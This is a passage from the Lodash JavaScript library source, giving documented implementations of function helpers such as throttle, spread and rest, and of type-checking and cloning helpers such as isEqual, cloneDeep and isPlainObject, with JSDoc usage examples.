* @param {...(number|number[])} indexes The arranged argument indexes.
* @returns {Function} Returns the new function.
* @example
*
* var rearged = _.rearg(function(a, b, c) {
* return [a, b, c];
* }, [2, 0, 1]);
*
* rearged('b', 'c', 'a')
* // => ['a', 'b', 'c']
*/
var rearg = flatRest(function(func, indexes) {
return createWrap(func, WRAP_REARG_FLAG, undefined, undefined, undefined, indexes);
});
/**
* Creates a function that invokes `func` with the `this` binding of the
* created function and arguments from `start` and beyond provided as
* an array.
*
* **Note:** This method is based on the
* [rest parameter](https://mdn.io/rest_parameters).
*
* @static
* @memberOf _
* @since 4.0.0
* @category Function
* @param {Function} func The function to apply a rest parameter to.
* @param {number} [start=func.length-1] The start position of the rest parameter.
* @returns {Function} Returns the new function.
* @example
*
* var say = _.rest(function(what, names) {
* return what + ' ' + _.initial(names).join(', ') +
* (_.size(names) > 1 ? ', & ' : '') + _.last(names);
* });
*
* say('hello', 'fred', 'barney', 'pebbles');
* // => 'hello fred, barney, & pebbles'
*/
function rest(func, start) {
if (typeof func != 'function') {
throw new TypeError(FUNC_ERROR_TEXT);
}
start = start === undefined ? start : toInteger(start);
return baseRest(func, start);
}
/**
* Creates a function that invokes `func` with the `this` binding of the
* create function and an array of arguments much like
* [`Function#apply`](http://www.ecma-international.org/ecma-262/7.0/#sec-function.prototype.apply).
*
* **Note:** This method is based on the
* [spread operator](https://mdn.io/spread_operator).
*
* @static
* @memberOf _
* @since 3.2.0
* @category Function
* @param {Function} func The function to spread arguments over.
* @param {number} [start=0] The start position of the spread.
* @returns {Function} Returns the new function.
* @example
*
* var say = _.spread(function(who, what) {
* return who + ' says ' + what;
* });
*
* say(['fred', 'hello']);
* // => 'fred says hello'
*
* var numbers = Promise.all([
* Promise.resolve(40),
* Promise.resolve(36)
* ]);
*
* numbers.then(_.spread(function(x, y) {
* return x + y;
* }));
* // => a Promise of 76
*/
function spread(func, start) {
if (typeof func != 'function') {
throw new TypeError(FUNC_ERROR_TEXT);
}
start = start == null ? 0 : nativeMax(toInteger(start), 0);
return baseRest(function(args) {
var array = args[start],
otherArgs = castSlice(args, 0, start);
if (array) {
arrayPush(otherArgs, array);
}
return apply(func, this, otherArgs);
});
}
/**
* Creates a throttled function that only invokes `func` at most once per
* every `wait` milliseconds. The throttled function comes with a `cancel`
* method to cancel delayed `func` invocations and a `flush` method to
* immediately invoke them. Provide `options` to indicate whether `func`
* should be invoked on the leading and/or trailing edge of the `wait`
* timeout. The `func` is invoked with the last arguments provided to the
* throttled function. Subsequent calls to the throttled function return the
* result of the last `func` invocation.
*
* **Note:** If `leading` and `trailing` options are `true`, `func` is
* invoked on the trailing edge of the timeout only if the throttled function
* is invoked more than once during the `wait` timeout.
*
* If `wait` is `0` and `leading` is `false`, `func` invocation is deferred
* until to the next tick, similar to `setTimeout` with a timeout of `0`.
*
* See [David Corbacho's article](https://css-tricks.com/debouncing-throttling-explained-examples/)
* for details over the differences between `_.throttle` and `_.debounce`.
*
* @static
* @memberOf _
* @since 0.1.0
* @category Function
* @param {Function} func The function to throttle.
* @param {number} [wait=0] The number of milliseconds to throttle invocations to.
* @param {Object} [options={}] The options object.
* @param {boolean} [options.leading=true]
* Specify invoking on the leading edge of the timeout.
* @param {boolean} [options.trailing=true]
* Specify invoking on the trailing edge of the timeout.
* @returns {Function} Returns the new throttled function.
* @example
*
* // Avoid excessively updating the position while scrolling.
* jQuery(window).on('scroll', _.throttle(updatePosition, 100));
*
* // Invoke `renewToken` when the click event is fired, but not more than once every 5 minutes.
* var throttled = _.throttle(renewToken, 300000, { 'trailing': false });
* jQuery(element).on('click', throttled);
*
* // Cancel the trailing throttled invocation.
* jQuery(window).on('popstate', throttled.cancel);
*/
function throttle(func, wait, options) {
var leading = true,
trailing = true;
if (typeof func != 'function') {
throw new TypeError(FUNC_ERROR_TEXT);
}
if (isObject(options)) {
leading = 'leading' in options ? !!options.leading : leading;
trailing = 'trailing' in options ? !!options.trailing : trailing;
}
return debounce(func, wait, {
'leading': leading,
'maxWait': wait,
'trailing': trailing
});
}
/**
* Creates a function that accepts up to one argument, ignoring any
* additional arguments.
*
* @static
* @memberOf _
* @since 4.0.0
* @category Function
* @param {Function} func The function to cap arguments for.
* @returns {Function} Returns the new capped function.
* @example
*
* _.map(['6', '8', '10'], _.unary(parseInt));
* // => [6, 8, 10]
*/
function unary(func) {
return ary(func, 1);
}
/**
* Creates a function that provides `value` to `wrapper` as its first
* argument. Any additional arguments provided to the function are appended
* to those provided to the `wrapper`. The wrapper is invoked with the `this`
* binding of the created function.
*
* @static
* @memberOf _
* @since 0.1.0
* @category Function
* @param {*} value The value to wrap.
* @param {Function} [wrapper=identity] The wrapper function.
* @returns {Function} Returns the new function.
* @example
*
* var p = _.wrap(_.escape, function(func, text) {
* return '<p>' + func(text) + '</p>';
* });
*
* p('fred, barney, & pebbles');
* // => '<p>fred, barney, & pebbles</p>'
*/
function wrap(value, wrapper) {
return partial(castFunction(wrapper), value);
}
/*------------------------------------------------------------------------*/
/**
* Casts `value` as an array if it's not one.
*
* @static
* @memberOf _
* @since 4.4.0
* @category Lang
* @param {*} value The value to inspect.
* @returns {Array} Returns the cast array.
* @example
*
* _.castArray(1);
* // => [1]
*
* _.castArray({ 'a': 1 });
* // => [{ 'a': 1 }]
*
* _.castArray('abc');
* // => ['abc']
*
* _.castArray(null);
* // => [null]
*
* _.castArray(undefined);
* // => [undefined]
*
* _.castArray();
* // => []
*
* var array = [1, 2, 3];
* console.log(_.castArray(array) === array);
* // => true
*/
function castArray() {
if (!arguments.length) {
return [];
}
var value = arguments[0];
return isArray(value) ? value : [value];
}
/**
* Creates a shallow clone of `value`.
*
* **Note:** This method is loosely based on the
* [structured clone algorithm](https://mdn.io/Structured_clone_algorithm)
* and supports cloning arrays, array buffers, booleans, date objects, maps,
* numbers, `Object` objects, regexes, sets, strings, symbols, and typed
* arrays. The own enumerable properties of `arguments` objects are cloned
* as plain objects. An empty object is returned for uncloneable values such
* as error objects, functions, DOM nodes, and WeakMaps.
*
* @static
* @memberOf _
* @since 0.1.0
* @category Lang
* @param {*} value The value to clone.
* @returns {*} Returns the cloned value.
* @see _.cloneDeep
* @example
*
* var objects = [{ 'a': 1 }, { 'b': 2 }];
*
* var shallow = _.clone(objects);
* console.log(shallow[0] === objects[0]);
* // => true
*/
function clone(value) {
return baseClone(value, CLONE_SYMBOLS_FLAG);
}
/**
* This method is like `_.clone` except that it accepts `customizer` which
* is invoked to produce the cloned value. If `customizer` returns `undefined`,
* cloning is handled by the method instead. The `customizer` is invoked with
* up to four arguments; (value [, index|key, object, stack]).
*
* @static
* @memberOf _
* @since 4.0.0
* @category Lang
* @param {*} value The value to clone.
* @param {Function} [customizer] The function to customize cloning.
* @returns {*} Returns the cloned value.
* @see _.cloneDeepWith
* @example
*
* function customizer(value) {
* if (_.isElement(value)) {
* return value.cloneNode(false);
* }
* }
*
* var el = _.cloneWith(document.body, customizer);
*
* console.log(el === document.body);
* // => false
* console.log(el.nodeName);
* // => 'BODY'
* console.log(el.childNodes.length);
* // => 0
*/
function cloneWith(value, customizer) {
customizer = typeof customizer == 'function' ? customizer : undefined;
return baseClone(value, CLONE_SYMBOLS_FLAG, customizer);
}
/**
* This method is like `_.clone` except that it recursively clones `value`.
*
* @static
* @memberOf _
* @since 1.0.0
* @category Lang
* @param {*} value The value to recursively clone.
* @returns {*} Returns the deep cloned value.
* @see _.clone
* @example
*
* var objects = [{ 'a': 1 }, { 'b': 2 }];
*
* var deep = _.cloneDeep(objects);
* console.log(deep[0] === objects[0]);
* // => false
*/
function cloneDeep(value) {
return baseClone(value, CLONE_DEEP_FLAG | CLONE_SYMBOLS_FLAG);
}
/**
* This method is like `_.cloneWith` except that it recursively clones `value`.
*
* @static
* @memberOf _
* @since 4.0.0
* @category Lang
* @param {*} value The value to recursively clone.
* @param {Function} [customizer] The function to customize cloning.
* @returns {*} Returns the deep cloned value.
* @see _.cloneWith
* @example
*
* function customizer(value) {
* if (_.isElement(value)) {
* return value.cloneNode(true);
* }
* }
*
* var el = _.cloneDeepWith(document.body, customizer);
*
* console.log(el === document.body);
* // => false
* console.log(el.nodeName);
* // => 'BODY'
* console.log(el.childNodes.length);
* // => 20
*/
function cloneDeepWith(value, customizer) {
customizer = typeof customizer == 'function' ? customizer : undefined;
return baseClone(value, CLONE_DEEP_FLAG | CLONE_SYMBOLS_FLAG, customizer);
}
/**
* Checks if `object` conforms to `source` by invoking the predicate
* properties of `source` with the corresponding property values of `object`.
*
* **Note:** This method is equivalent to `_.conforms` when `source` is
* partially applied.
*
* @static
* @memberOf _
* @since 4.14.0
* @category Lang
* @param {Object} object The object to inspect.
* @param {Object} source The object of property predicates to conform to.
* @returns {boolean} Returns `true` if `object` conforms, else `false`.
* @example
*
* var object = { 'a': 1, 'b': 2 };
*
* _.conformsTo(object, { 'b': function(n) { return n > 1; } });
* // => true
*
* _.conformsTo(object, { 'b': function(n) { return n > 2; } });
* // => false
*/
function conformsTo(object, source) {
return source == null || baseConformsTo(object, source, keys(source));
}
/**
* Performs a
* [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero)
* comparison between two values to determine if they are equivalent.
*
* @static
* @memberOf _
* @since 4.0.0
* @category Lang
* @param {*} value The value to compare.
* @param {*} other The other value to compare.
* @returns {boolean} Returns `true` if the values are equivalent, else `false`.
* @example
*
* var object = { 'a': 1 };
* var other = { 'a': 1 };
*
* _.eq(object, object);
* // => true
*
* _.eq(object, other);
* // => false
*
* _.eq('a', 'a');
* // => true
*
* _.eq('a', Object('a'));
* // => false
*
* _.eq(NaN, NaN);
* // => true
*/
function eq(value, other) {
return value === other || (value !== value && other !== other);
}
/**
* Checks if `value` is greater than `other`.
*
* @static
* @memberOf _
* @since 3.9.0
* @category Lang
* @param {*} value The value to compare.
* @param {*} other The other value to compare.
* @returns {boolean} Returns `true` if `value` is greater than `other`,
* else `false`.
* @see _.lt
* @example
*
* _.gt(3, 1);
* // => true
*
* _.gt(3, 3);
* // => false
*
* _.gt(1, 3);
* // => false
*/
var gt = createRelationalOperation(baseGt);
/**
* Checks if `value` is greater than or equal to `other`.
*
* @static
* @memberOf _
* @since 3.9.0
* @category Lang
* @param {*} value The value to compare.
* @param {*} other The other value to compare.
* @returns {boolean} Returns `true` if `value` is greater than or equal to
* `other`, else `false`.
* @see _.lte
* @example
*
* _.gte(3, 1);
* // => true
*
* _.gte(3, 3);
* // => true
*
* _.gte(1, 3);
* // => false
*/
var gte = createRelationalOperation(function(value, other) {
return value >= other;
});
/**
* Checks if `value` is likely an `arguments` object.
*
* @static
* @memberOf _
* @since 0.1.0
* @category Lang
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is an `arguments` object,
* else `false`.
* @example
*
* _.isArguments(function() { return arguments; }());
* // => true
*
* _.isArguments([1, 2, 3]);
* // => false
*/
var isArguments = baseIsArguments(function() { return arguments; }()) ? baseIsArguments : function(value) {
return isObjectLike(value) && hasOwnProperty.call(value, 'callee') &&
!propertyIsEnumerable.call(value, 'callee');
};
/**
* Checks if `value` is classified as an `Array` object.
*
* @static
* @memberOf _
* @since 0.1.0
* @category Lang
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is an array, else `false`.
* @example
*
* _.isArray([1, 2, 3]);
* // => true
*
* _.isArray(document.body.children);
* // => false
*
* _.isArray('abc');
* // => false
*
* _.isArray(_.noop);
* // => false
*/
var isArray = Array.isArray;
/**
* Checks if `value` is classified as an `ArrayBuffer` object.
*
* @static
* @memberOf _
* @since 4.3.0
* @category Lang
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is an array buffer, else `false`.
* @example
*
* _.isArrayBuffer(new ArrayBuffer(2));
* // => true
*
* _.isArrayBuffer(new Array(2));
* // => false
*/
var isArrayBuffer = nodeIsArrayBuffer ? baseUnary(nodeIsArrayBuffer) : baseIsArrayBuffer;
/**
* Checks if `value` is array-like. A value is considered array-like if it's
* not a function and has a `value.length` that's an integer greater than or
* equal to `0` and less than or equal to `Number.MAX_SAFE_INTEGER`.
*
* @static
* @memberOf _
* @since 4.0.0
* @category Lang
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is array-like, else `false`.
* @example
*
* _.isArrayLike([1, 2, 3]);
* // => true
*
* _.isArrayLike(document.body.children);
* // => true
*
* _.isArrayLike('abc');
* // => true
*
* _.isArrayLike(_.noop);
* // => false
*/
function isArrayLike(value) {
return value != null && isLength(value.length) && !isFunction(value);
}
/**
* This method is like `_.isArrayLike` except that it also checks if `value`
* is an object.
*
* @static
* @memberOf _
* @since 4.0.0
* @category Lang
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is an array-like object,
* else `false`.
* @example
*
* _.isArrayLikeObject([1, 2, 3]);
* // => true
*
* _.isArrayLikeObject(document.body.children);
* // => true
*
* _.isArrayLikeObject('abc');
* // => false
*
* _.isArrayLikeObject(_.noop);
* // => false
*/
function isArrayLikeObject(value) {
return isObjectLike(value) && isArrayLike(value);
}
/**
* Checks if `value` is classified as a boolean primitive or object.
*
* @static
* @memberOf _
* @since 0.1.0
* @category Lang
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is a boolean, else `false`.
* @example
*
* _.isBoolean(false);
* // => true
*
* _.isBoolean(null);
* // => false
*/
function isBoolean(value) {
return value === true || value === false ||
(isObjectLike(value) && baseGetTag(value) == boolTag);
}
/**
* Checks if `value` is a buffer.
*
* @static
* @memberOf _
* @since 4.3.0
* @category Lang
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is a buffer, else `false`.
* @example
*
* _.isBuffer(new Buffer(2));
* // => true
*
* _.isBuffer(new Uint8Array(2));
* // => false
*/
var isBuffer = nativeIsBuffer || stubFalse;
/**
* Checks if `value` is classified as a `Date` object.
*
* @static
* @memberOf _
* @since 0.1.0
* @category Lang
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is a date object, else `false`.
* @example
*
* _.isDate(new Date);
* // => true
*
* _.isDate('Mon April 23 2012');
* // => false
*/
var isDate = nodeIsDate ? baseUnary(nodeIsDate) : baseIsDate;
/**
* Checks if `value` is likely a DOM element.
*
* @static
* @memberOf _
* @since 0.1.0
* @category Lang
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is a DOM element, else `false`.
* @example
*
* _.isElement(document.body);
* // => true
*
* _.isElement('<body>');
* // => false
*/
function isElement(value) {
return isObjectLike(value) && value.nodeType === 1 && !isPlainObject(value);
}
/**
* Checks if `value` is an empty object, collection, map, or set.
*
* Objects are considered empty if they have no own enumerable string keyed
* properties.
*
* Array-like values such as `arguments` objects, arrays, buffers, strings, or
* jQuery-like collections are considered empty if they have a `length` of `0`.
* Similarly, maps and sets are considered empty if they have a `size` of `0`.
*
* @static
* @memberOf _
* @since 0.1.0
* @category Lang
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is empty, else `false`.
* @example
*
* _.isEmpty(null);
* // => true
*
* _.isEmpty(true);
* // => true
*
* _.isEmpty(1);
* // => true
*
* _.isEmpty([1, 2, 3]);
* // => false
*
* _.isEmpty({ 'a': 1 });
* // => false
*/
function isEmpty(value) {
if (value == null) {
return true;
}
if (isArrayLike(value) &&
(isArray(value) || typeof value == 'string' || typeof value.splice == 'function' ||
isBuffer(value) || isTypedArray(value) || isArguments(value))) {
return !value.length;
}
var tag = getTag(value);
if (tag == mapTag || tag == setTag) {
return !value.size;
}
if (isPrototype(value)) {
return !baseKeys(value).length;
}
for (var key in value) {
if (hasOwnProperty.call(value, key)) {
return false;
}
}
return true;
}
/**
* Performs a deep comparison between two values to determine if they are
* equivalent.
*
* **Note:** This method supports comparing arrays, array buffers, booleans,
* date objects, error objects, maps, numbers, `Object` objects, regexes,
* sets, strings, symbols, and typed arrays. `Object` objects are compared
* by their own, not inherited, enumerable properties. Functions and DOM
* nodes are compared by strict equality, i.e. `===`.
*
* @static
* @memberOf _
* @since 0.1.0
* @category Lang
* @param {*} value The value to compare.
* @param {*} other The other value to compare.
* @returns {boolean} Returns `true` if the values are equivalent, else `false`.
* @example
*
* var object = { 'a': 1 };
* var other = { 'a': 1 };
*
* _.isEqual(object, other);
* // => true
*
* object === other;
* // => false
*/
function isEqual(value, other) {
return baseIsEqual(value, other);
}
/**
* This method is like `_.isEqual` except that it accepts `customizer` which
* is invoked to compare values. If `customizer` returns `undefined`, comparisons
* are handled by the method instead. The `customizer` is invoked with up to
* six arguments: (objValue, othValue [, index|key, object, other, stack]).
*
* @static
* @memberOf _
* @since 4.0.0
* @category Lang
* @param {*} value The value to compare.
* @param {*} other The other value to compare.
* @param {Function} [customizer] The function to customize comparisons.
* @returns {boolean} Returns `true` if the values are equivalent, else `false`.
* @example
*
* function isGreeting(value) {
* return /^h(?:i|ello)$/.test(value);
* }
*
* function customizer(objValue, othValue) {
* if (isGreeting(objValue) && isGreeting(othValue)) {
* return true;
* }
* }
*
* var array = ['hello', 'goodbye'];
* var other = ['hi', 'goodbye'];
*
* _.isEqualWith(array, other, customizer);
* // => true
*/
function isEqualWith(value, other, customizer) {
customizer = typeof customizer == 'function' ? customizer : undefined;
var result = customizer ? customizer(value, other) : undefined;
return result === undefined ? baseIsEqual(value, other, undefined, customizer) : !!result;
}
/**
* Checks if `value` is an `Error`, `EvalError`, `RangeError`, `ReferenceError`,
* `SyntaxError`, `TypeError`, or `URIError` object.
*
* @static
* @memberOf _
* @since 3.0.0
* @category Lang
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is an error object, else `false`.
* @example
*
* _.isError(new Error);
* // => true
*
* _.isError(Error);
* // => false
*/
function isError(value) {
if (!isObjectLike(value)) {
return false;
}
var tag = baseGetTag(value);
return tag == errorTag || tag == domExcTag ||
(typeof value.message == 'string' && typeof value.name == 'string' && !isPlainObject(value));
}
/**
* Checks if `value` is a finite primitive number.
*
* **Note:** This method is based on
* [`Number.isFinite`](https://mdn.io/Number/isFinite).
*
* @static
* @memberOf _
* @since 0.1.0
* @category Lang
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is a finite number, else `false`.
* @example
*
* _.isFinite(3);
* // => true
*
* _.isFinite(Number.MIN_VALUE);
* // => true
*
* _.isFinite(Infinity);
* // => false
*
* _.isFinite('3');
* // => false
*/
function isFinite(value) {
return typeof value == 'number' && nativeIsFinite(value);
}
/**
* Checks if `value` is classified as a `Function` object.
*
* @static
* @memberOf _
* @since 0.1.0
* @category Lang
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is a function, else `false`.
* @example
*
* _.isFunction(_);
* // => true
*
* _.isFunction(/abc/);
* // => false
*/
function isFunction(value) {
if (!isObject(value)) {
return false;
}
// The use of `Object#toString` avoids issues with the `typeof` operator
// in Safari 9 which returns 'object' for typed arrays and other constructors.
var tag = baseGetTag(value);
return tag == funcTag || tag == genTag || tag == asyncTag || tag == proxyTag;
}
/**
* Checks if `value` is an integer.
*
* **Note:** This method is based on
* [`Number.isInteger`](https://mdn.io/Number/isInteger).
*
* @static
* @memberOf _
* @since 4.0.0
* @category Lang
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is an integer, else `false`.
* @example
*
* _.isInteger(3);
* // => true
*
* _.isInteger(Number.MIN_VALUE);
* // => false
*
* _.isInteger(Infinity);
* // => false
*
* _.isInteger('3');
* // => false
*/
function isInteger(value) {
return typeof value == 'number' && value == toInteger(value);
}
/**
* Checks if `value` is a valid array-like length.
*
* **Note:** This method is loosely based on
* [`ToLength`](http://ecma-international.org/ecma-262/7.0/#sec-tolength).
*
* @static
* @memberOf _
* @since 4.0.0
* @category Lang
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is a valid length, else `false`.
* @example
*
* _.isLength(3);
* // => true
*
* _.isLength(Number.MIN_VALUE);
* // => false
*
* _.isLength(Infinity);
* // => false
*
* _.isLength('3');
* // => false
*/
function isLength(value) {
return typeof value == 'number' &&
value > -1 && value % 1 == 0 && value <= MAX_SAFE_INTEGER;
}
/**
* Checks if `value` is the
* [language type](http://www.ecma-international.org/ecma-262/7.0/#sec-ecmascript-language-types)
* of `Object`. (e.g. arrays, functions, objects, regexes, `new Number(0)`, and `new String('')`)
*
* @static
* @memberOf _
* @since 0.1.0
* @category Lang
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is an object, else `false`.
* @example
*
* _.isObject({});
* // => true
*
* _.isObject([1, 2, 3]);
* // => true
*
* _.isObject(_.noop);
* // => true
*
* _.isObject(null);
* // => false
*/
function isObject(value) {
var type = typeof value;
return value != null && (type == 'object' || type == 'function');
}
/**
* Checks if `value` is object-like. A value is object-like if it's not `null`
* and has a `typeof` result of "object".
*
* @static
* @memberOf _
* @since 4.0.0
* @category Lang
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is object-like, else `false`.
* @example
*
* _.isObjectLike({});
* // => true
*
* _.isObjectLike([1, 2, 3]);
* // => true
*
* _.isObjectLike(_.noop);
* // => false
*
* _.isObjectLike(null);
* // => false
*/
function isObjectLike(value) {
return value != null && typeof value == 'object';
}
/**
* Checks if `value` is classified as a `Map` object.
*
* @static
* @memberOf _
* @since 4.3.0
* @category Lang
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is a map, else `false`.
* @example
*
* _.isMap(new Map);
* // => true
*
* _.isMap(new WeakMap);
* // => false
*/
var isMap = nodeIsMap ? baseUnary(nodeIsMap) : baseIsMap;
/**
* Performs a partial deep comparison between `object` and `source` to
* determine if `object` contains equivalent property values.
*
* **Note:** This method is equivalent to `_.matches` when `source` is
* partially applied.
*
* Partial comparisons will match empty array and empty object `source`
* values against any array or object value, respectively. See `_.isEqual`
* for a list of supported value comparisons.
*
* @static
* @memberOf _
* @since 3.0.0
* @category Lang
* @param {Object} object The object to inspect.
* @param {Object} source The object of property values to match.
* @returns {boolean} Returns `true` if `object` is a match, else `false`.
* @example
*
* var object = { 'a': 1, 'b': 2 };
*
* _.isMatch(object, { 'b': 2 });
* // => true
*
* _.isMatch(object, { 'b': 1 });
* // => false
*/
function isMatch(object, source) {
return object === source || baseIsMatch(object, source, getMatchData(source));
}
/**
* This method is like `_.isMatch` except that it accepts `customizer` which
* is invoked to compare values. If `customizer` returns `undefined`, comparisons
* are handled by the method instead. The `customizer` is invoked with five
* arguments: (objValue, srcValue, index|key, object, source).
*
* @static
* @memberOf _
* @since 4.0.0
* @category Lang
* @param {Object} object The object to inspect.
* @param {Object} source The object of property values to match.
* @param {Function} [customizer] The function to customize comparisons.
* @returns {boolean} Returns `true` if `object` is a match, else `false`.
* @example
*
* function isGreeting(value) {
* return /^h(?:i|ello)$/.test(value);
* }
*
* function customizer(objValue, srcValue) {
* if (isGreeting(objValue) && isGreeting(srcValue)) {
* return true;
* }
* }
*
* var object = { 'greeting': 'hello' };
* var source = { 'greeting': 'hi' };
*
* _.isMatchWith(object, source, customizer);
* // => true
*/
function isMatchWith(object, source, customizer) {
customizer = typeof customizer == 'function' ? customizer : undefined;
return baseIsMatch(object, source, getMatchData(source), customizer);
}
/**
* Checks if `value` is `NaN`.
*
* **Note:** This method is based on
* [`Number.isNaN`](https://mdn.io/Number/isNaN) and is not the same as
* global [`isNaN`](https://mdn.io/isNaN) which returns `true` for
* `undefined` and other non-number values.
*
* @static
* @memberOf _
* @since 0.1.0
* @category Lang
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is `NaN`, else `false`.
* @example
*
* _.isNaN(NaN);
* // => true
*
* _.isNaN(new Number(NaN));
* // => true
*
* isNaN(undefined);
* // => true
*
* _.isNaN(undefined);
* // => false
*/
function isNaN(value) {
// An `NaN` primitive is the only value that is not equal to itself.
// Perform the `toStringTag` check first to avoid errors with some
// ActiveX objects in IE.
return isNumber(value) && value != +value;
}
/**
* Checks if `value` is a pristine native function.
*
* **Note:** This method can't reliably detect native functions in the presence
* of the core-js package because core-js circumvents this kind of detection.
* Despite multiple requests, the core-js maintainer has made it clear: any
* attempt to fix the detection will be obstructed. As a result, we're left
* with little choice but to throw an error. Unfortunately, this also affects
* packages, like [babel-polyfill](https://www.npmjs.com/package/babel-polyfill),
* which rely on core-js.
*
* @static
* @memberOf _
* @since 3.0.0
* @category Lang
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is a native function,
* else `false`.
* @example
*
* _.isNative(Array.prototype.push);
* // => true
*
* _.isNative(_);
* // => false
*/
function isNative(value) {
if (isMaskable(value)) {
throw new Error(CORE_ERROR_TEXT);
}
return baseIsNative(value);
}
/**
* Checks if `value` is `null`.
*
* @static
* @memberOf _
* @since 0.1.0
* @category Lang
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is `null`, else `false`.
* @example
*
* _.isNull(null);
* // => true
*
* _.isNull(void 0);
* // => false
*/
function isNull(value) {
return value === null;
}
/**
* Checks if `value` is `null` or `undefined`.
*
* @static
* @memberOf _
* @since 4.0.0
* @category Lang
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is nullish, else `false`.
* @example
*
* _.isNil(null);
* // => true
*
* _.isNil(void 0);
* // => true
*
* _.isNil(NaN);
* // => false
*/
function isNil(value) {
return value == null;
}
/**
* Checks if `value` is classified as a `Number` primitive or object.
*
* **Note:** To exclude `Infinity`, `-Infinity`, and `NaN`, which are
* classified as numbers, use the `_.isFinite` method.
*
* @static
* @memberOf _
* @since 0.1.0
* @category Lang
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is a number, else `false`.
* @example
*
* _.isNumber(3);
* // => true
*
* _.isNumber(Number.MIN_VALUE);
* // => true
*
* _.isNumber(Infinity);
* // => true
*
* _.isNumber('3');
* // => false
*/
function isNumber(value) {
return typeof value == 'number' ||
(isObjectLike(value) && baseGetTag(value) == numberTag);
}
/**
* Checks if `value` is a plain object, that is, an object created by the
* `Object` constructor or one with a `[[Prototype]]` of `null`.
*
* @static
* @memberOf _
* @since 0.8.0
* @category Lang
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is a plain object, else `false`.
* @example
*
* function Foo() {
* this.a = 1;
* }
*
* _.isPlainObject(new Foo);
* // => false
*
* _.isPlainObject([1, 2, 3]);
* // => false
*
* _.isPlainObject({ 'x': 0, 'y': 0 });
* // => true
*
* _.isPlainObject(Object.create(null));
* // => true
*/
function isPlainObject(value) {
if (!isObjectLike(value) || baseGetTag(value) != objectTag) {
return false;
}
var proto = getPrototype(value);
if (proto === null) {
return true;
}
var Ctor = hasOwnProperty.call(proto, 'constructor') && proto.constructor;
return typeof Ctor == 'function' && Ctor instanceof Ctor &&
funcToString.call(Ctor) == objectCtorString;
}
/**
* Checks if `value` is classified as a `RegExp` object.
*
* @static
* @memberOf _
* @since 0.1.0
* @category Lang
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is a regexp, else `false`.
* @example
*
* _.isRegExp(/abc/);
* // => true
*
* _.isRegExp('/abc/');
* // => false
*/
var isRegExp = nodeIsRegExp ? baseUnary(nodeIsRegExp) : baseIsRegExp;
/**
* Checks if `value` is a safe integer. An integer is safe if it's an IEEE-754
* double precision number which isn't the result of a rounded unsafe integer.
*
* **Note:** This method is based on
* [`Number.isSafeInteger`](https://mdn.io/Number/isSafeInteger).
*
* @static
* @memberOf _
* @since 4.0.0
* @category Lang
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is a safe integer, else `false`.
* @example
*
* _.isSafeInteger(3);
* // => true
*
* _.isSafeInteger(Number.MIN_VALUE);
* // => false
*
* _.isSafeInteger(Infinity);
* // => false
*
* _.isSafeInteger('3');
* // => false
*/
function isSafeInteger(value) {
return isInteger(value) && value >= -MAX_SAFE_INTEGER && value <= MAX_SAFE_INTEGER;
}
/**
* Checks if `value` is classified as a `Set` object.
*
* @static
* @memberOf _
* @since 4.3.0
* @category Lang
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is a set, else `false`.
* @example
*
* _.isSet(new Set);
* // => true
*
* _.isSet(new WeakSet);
* // => false
*/
var isSet = nodeIsSet ? baseUnary(nodeIsSet) : baseIsSet;
/**
* Checks if `value` is classified as a `String` primitive or object.
*
* @static
* @since 0.1.0
* @memberOf _
* @category Lang
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is a string, else `false`.
* @example
*
* _.isString('abc');
* // => true
*
* _.isString(1);
* // => false
*/
function isString(value) {
return typeof value == 'string' ||
(!isArray(value) && isObjectLike(value) && baseGetTag(value) == stringTag);
}
/**
* Checks if `value` is classified as a `Symbol` primitive or object.
*
* @static
* @memberOf _
* @since 4.0.0
* @category Lang
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is a symbol, else `false`.
* @example
*
* _.isSymbol(Symbol.iterator);
* // => true
*
* _.isSymbol('abc');
* // => false
*/
function isSymbol(value) {
return typeof value == 'symbol' ||
(isObjectLike(value) && baseGetTag(value) == symbolTag);
}
/**
* Checks if `value` is classified as a typed array.
*
* @static
* @memberOf _
* @since 3.0.0
* @category Lang
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is a typed array, else `false`.
* @example
*
* _.isTypedArray(new Uint8Array);
* // => true
*
* _.isTypedArray([]);
* // => false
*/
var isTypedArray = nodeIsTypedArray ? baseUnary(nodeIsTypedArray) : baseIsTypedArray;
/**
* Checks if `value` is `undefined`.
*
* @static
* @since 0.1.0
* @memberOf _
* @category Lang
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is `undefined`, else `false`.
* @example
*
* _.isUndefined(void 0);
* // => true
*
* _.isUndefined(null);
* // => false
*/
function isUndefined(value) {
return value === undefined;
}
/**
* Checks if `value` is classified as a `WeakMap` object.
*
* @static
* @memberOf _
* @since 4.3.0
* @category Lang
* @param {*} value The value to check.
